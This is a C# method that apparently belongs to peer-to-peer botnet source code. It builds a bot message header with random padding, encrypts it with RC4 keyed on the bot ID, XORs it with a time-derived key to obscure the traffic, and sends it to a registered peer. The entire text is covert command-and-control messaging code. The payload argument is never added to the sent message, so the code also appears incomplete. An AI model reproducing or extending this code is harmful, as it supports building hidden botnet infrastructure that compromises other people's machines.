public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId) { if (!_peerList.IsRegisteredBot(botId)) { return; } var padding = RandomUtils.NextPadding(); var header = new BotHeader { CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId, BotId = botId, MessageId = messageId, PayloadSize = (short)payload.Length, Padding = (short)padding.Length, Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl }; var message = BufferUtils.Concat(header.Encode(), padding); var rc4 = new Rc4(botId.ToByteArray()); rc4.Encrypt(message); var now = new TimeSpan(DateTime.UtcNow.Ticks); var minutes = now.TotalMilliseconds / (1000 * 60); var xor = new Mod2(BitConverter.GetBytes(minutes)); xor.Decrypt(message); var endPoint = _peerList[botId]; Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId); _comunicationManager.Send(endPoint, message); if (correlationId == 0) { _waitingForReply.Add(new Package(endPoint, message), correlationId); } }